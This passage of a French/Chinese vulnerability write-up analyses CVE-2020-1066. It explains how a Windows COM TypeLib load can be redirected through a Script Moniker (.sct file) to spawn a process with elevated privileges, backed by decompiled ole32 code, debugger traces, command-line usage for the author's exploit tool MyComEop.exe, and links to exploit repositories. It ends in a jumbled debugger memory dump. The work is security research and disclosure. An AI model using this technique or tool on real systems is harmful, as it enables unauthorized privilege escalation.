|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
if ( RegOpenKeyW(phkResult, &Dst, &v22)
|| RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) )
{
break;
}
cbData = 520;
if ( RegQueryValueW(v21, 0, &Data, &cbData) )
break;
//找到后就加载
v8 = LoadTypeLib(&Data, &pptlib);
v9 = (wchar_t *)v8;
if ( !v8 || v8 >= 0 )
{
//根据GUID查找TypeInfo
v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14);
v9 = (wchar_t *)v10;
if ( !v10 || v10 >= 0 )
{
*v13 = v14;
v9 = 0;
}
}
goto LABEL_26;
}
++v6;
}
}
....
Chaque TypeLib peut être une structure TypeLib imbriquée, et le chargement d'une TypeLib imbriquée appellera également récursivement LoadTypeLibEx. Pour la méthode de construction spécifique, référez-vous au code de l'outil d'exploitation et à l'API officielle Microsoft. Ainsi, lors du chargement récursif d'une TypeLib, on peut spécifier un chemin de fichier TypeLib inexistant, qui sera alors interprété comme un Moniker via son DisplayName. Ici, on utilise Script Monike, c'est-à-dire un fichier de script script:xxx.sct. Finalement, le Script Moniker est résolu et déclenche BindToObject, lançant un Shell via Unmarshal avec les privilèges de l'appelant. Le principe est le suivant :``` HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ...
查看大图
Par rapport à Process Monitor, voici les résultats de débogage du processus final créé par Script Moniker.```
Breakpoint 0 hit
kernel32!CreateProcessW:
0033:00000000`77741bb0 4883ec68 sub rsp,68h
//启动的就是exp
0: kd> dc @rdx
00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t.
00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M.
00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p...
00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1.....
00000000`0378ba38 00000000 00000000 00000000 00000000 ................
00000000`0378ba48 00000000 00000000 00000000 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW
01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d
02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60
04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268
05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a
06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad
07 00000000`0288ca80 000007fe`ebf7ad24 : 00000000`00001f80 00000000`00000bc4 00000000`0288e560 00000000`002ffbc0 : wshom!CWshExec::Invoke+0x4d
08 00000000`0288cae0 000007fe`ebf79dc7 : 00000000`00000000 00000000`002ffbc0 00000000`00000000 00000000`001758b0 : jscript!CScriptRuntime::Run+0x2e1d
09 00000000`0288e4f0 000007fe`ebf79c09 : 00000000`00000000 00000000`0017c6b0 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x187
0a 00000000`0288e700 000007fe`ebf79a25 : 00000000`001758b0 00000000`00000000 00000000`001758b0 00000000`00000000 : jscript!ScrFncObj::Call+0xb5
0b 00000000`0288e7a0 000007fe`ebf7903b : 00000000`0008001f 00000000`001758b0 00000000`00000000 00000000`002f6660 : jscript!CSession::Execute+0x1a5
0c 00000000`0288e890 000007fe`ebf79386 : 00000000`00000000 00000000`001758b0 00000000`00000000 ffffffff`ffffffff : jscript!COleScript::ExecutePendingScripts+0x223
0d 00000000`0288e960 000007fe`eca17186 : 00000000`00000000 000007fe`eca17f9d 00000000`002fc410 01d61e99`4640f6a8 : jscript!COleScript::SetScriptState+0x6e
0e 00000000`0288e990 000007fe`eca17004 : 00000000`002fc400 00000000`002fc400 00000000`002f3ce0 00000000`002f3ce0 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
0f 00000000`0288e9f0 000007fe`eca16dc1 : 00000000`002c95e0 00000000`002fc400 00000000`002f3ce0 000007fe`ff687a01 : scrobj!ComScriptlet::Inner::Init+0x27a
10 00000000`0288ea90 000007fe`eca16caa : 00000000`002f3ce0 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
11 00000000`0288eac0 000007fe`eca220f3 : 00000000`002f62a0 00000000`00249618 00000000`002ce680 00000000`037143d8 : scrobj!ComScriptletConstructor::Create+0x68
12 00000000`0288eb10 000007fe`ff6678d6 : 00000000`03798760 00000000`03718760 00000000`037da9c0 000007fe`fee9b065 : scrobj!ComScriptletMoniker::BindToObject+0x7f
13 00000000`0288eb60 000007fe`ff5669ba : 000007fe`ff68be00 000007fe`ff6608bd 00000000`00000030 000007fe`ff68be30 : ole32!IMoniker_BindToObject_Stub+0x16 [d:\w7rtm\com\ole32\oleprx32\proxy\call_as.c @ 2264]
14 00000000`0288eba0 000007fe`fee9bc86 : 00000000`00000005 00000000`03718760 000007fe`ff687a18 00000000`037da9c0 : ole32!IMoniker_RemoteBindToObject_Thunk+0x2a [o:\w7rtm.obj.amd64fre\com\ole32\oleprx32\proxy\daytona\objfre\amd64\mega_p.c @ 487]
15 00000000`0288ebe0 000007fe`fedf48d6 : 00000000`0288f248 000007fe`ff66376f 00000000`03715700 00000000`0379a2a0 : RPCRT4!Ndr64AsyncServerCallAll+0x1806
16 00000000`0288f1a0 000007fe`ff660883 : 00000000`00000000 00000000`00000000 000007fe`ff695b80 00000000`03715ea0 : RPCRT4!NdrStubCall3+0xc6
17 00000000`0288f200 000007fe`ff660ccd : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
18 00000000`0288f230 000007fe`ff660c43 : 00000000`037da9c0 00000000`0579cb14 00000000`036ce730 000007fe`eca36a40 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
19 00000000`0288f2a0 000007fe`ff51a4f0 : 00000000`037da9c0 00000000`0361e890 00000000`037da9c0 00000000`00000178 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
1a 00000000`0288f350 000007fe`ff52d551 : 00000000`00000000 00000000`00000001 00000000`0376e9e0 00000000`03715ea0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
1b 00000000`0288f4e0 000007fe`ff66347e : 00000000`0361e890 00000000`00000000 00000000`03718760 00000000`00000000 : ole32!STAInvoke+0x91 [d:\w7rtm\com\ole32\com\dcomrem\callctrl.cxx @ 1923]
1c 00000000`0288f530 000007fe`ff66122b : 00000000`d0908070 00000000`0361e890 00000000`01d93e30 00000000`03718760 : ole32!AppInvoke+0x1aa [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1081]
1d 00000000`0288f5a0 000007fe`ff663542 : 00000000`037da930 00000000`00000400 00000000`00000000 00000000`01d98a30 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
1e 00000000`0288f730 000007fe`ff52d42d : 00000000`03715ea0 00000000`00000000 00000000`0378f190 00000000`037da930 : ole32!ComInvoke+0xae [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1469]
1f 00000000`0288f760 000007fe`ff52d1d6 : 00000000`0361e890 00000000`037da938 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29 [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 298]
20 00000000`0288f790 00000000`77639bd1 : 00000000`00000000 00000000`00000000 00000000`00000000 b2698378`e8b9daaa : ole32!ThreadWndProc+0xaa [d:\w7rtm\com\ole32\com\dcomrem\chancont.cxx @ 654]
21 00000000`0288f810 00000000`776398da : 00000000`0288f970 000007fe`ff52d12c 000007fe`ff6c5780 00000000`006c4200 : USER32!UserCallWinProcCheckWow+0x1ad
22 00000000`0288f8d0 000007fe`ff52d0ab : 00000000`000b0098 00000000`000b0098 000007fe`ff52d12c 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
23 00000000`0288f950 000007fe`ff653e57 : 00000000`0361e890 00000000`00000000 00000000`0361e890 000007fe`ff513032 : ole32!CDllHost::STAWorkerLoop+0x68 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 957]
24 00000000`0288f9b0 000007fe`ff500106 : 00000000`0361e890 00000000`036d6510 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7 [d:\w7rtm\com\ole32\com\objact\dllhost.cxx @ 834]
25 00000000`0288f9f0 000007fe`ff500182 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 257]
26 00000000`0288fa30 00000000`7773652d : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a [d:\w7rtm\com\ole32\com\dcomrem\threads.cxx @ 63]
27 00000000`0288fa60 00000000`7786c521 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
28 00000000`0288fa90 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
Ma méthode de test de l'outil d'exploitation des vulnérabilités est la suivante : nécessite une exécution en tant qu'administrateur.``` 1.只适用Windows7系统直接运行,无参数,替换默认Typelib
MyComEop.exe
2.替换指定接口TypeLIb文件路径的Com组件TypeLIb,比如C:\xxx.dll
MyComEop.exe [u] [TypeLib_Path]
3.替换指定接口IID的Com组件TypeLIb,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [u] [IID_Interface]
4.高级模式接口IID=[IID_Interface],接口名称=[InterfaceName],接口的TypeLib_GUID=[TypeLib_GUID_Interface],接口TypeLIb文件路径=[TypeLib_Path]
MyComEop.exe [u] [IID_Interface] [InterfaceName] [TypeLib_GUID_Interface] [TypeLib_Path] [Disable_Redirection]
5.不替换文件,仅测试指定接口IID的Com组件TypeLIb利用,比如 {55e3ea25-55cb-4650-8887-18e8d30bb4bc}
MyComEop.exe [t] [IID_Interface]
#### Effet d'exécution ####
Voici l'effet de l'exécution de l'exp de l'auteur, comme le montre la figure :
#### Projets associés ####
[CVE-2020-0787-EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)
[Projet de décompilation du service Windows CardSpace](https://gitee.com/cbwang505/Windows_CardSpace_Service)
[Mon ingénierie inverse ole32](https://gitee.com/cbwang505/MyOle32ReverseEngineering)
[Mon outil d'exploitation de vulnérabilités](https://gitee.com/cbwang505/TypeLibUnmarshaler)
[Outil de lien symbolique](https://github.com/googleprojectzero/symboliclink-testing-tools)
[CVE-2020-1066-EXP](https://gitee.com/cbwang505/CVE-2020-1066-EXP)
#### Références ####
[CVE-2020-1066](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1066)
#### Contribution ####
Auteur de ZheJiang Guoli Security Technology, email [email protected]
02c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 000000000371f310 000000000378aaf8 000000000391dd00 000007fe0391df50 000000000378aaf8 000000000391dd90 000007fe03715ea0 000000000391e618 0000113b0391dde0 000007fe00000000 0000000000000000 000000000391de80 000007fe0378aaf8 0000000000000001 000000000391deb0 000007fe0378aaf8 000000000365efb0 000000180391df30 000007fe037daf90 000007fe001cf840 000007fe0391dfd0 000007fe00000002 000000000391db00 000000000391e0b0 000007fe0363fdd4 0000000000000001 000000000391e120 000007fe00000000 000000000391e618 000000000391e190 000007fe0391e340 000007fe0391e4f0 000000000391e1d0 000007fe00000020 000007fe0391e618 000007fe0391e240 000007fe0391e9b0 000007fe0391e9b0 000007fe0391e860 000007fe00000000 000000000391ec60 000000000391e8c0 000007fe00000000 00000000fb63a201 000000000391e8f0 000007fe0023e760 00000000036ce6a0 000007fe0391e960 000007fe0023e760 000000000023e760 000000000391ea10 000007fe00000000 00000018037958a0 000000000391eba0 000007fed0908070 0000000001d93e30 000000000391ec10 000007fe037daf90 0000000003715ff0 000000000391eda0 000007feff6c9930 00000000037241b0 000007fe0391ee40 000007feff670ab0 000000000391f0b0 000007fe0391ee70 000007fe0378a970 000000000391f194 000000000391ef90 000007fe00000000 000000000391f0b0 000000000391efd0 000007fe0378a970 000000000378a970 000007fe0391f050 0000000000000000 0000000000000000 00000000feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000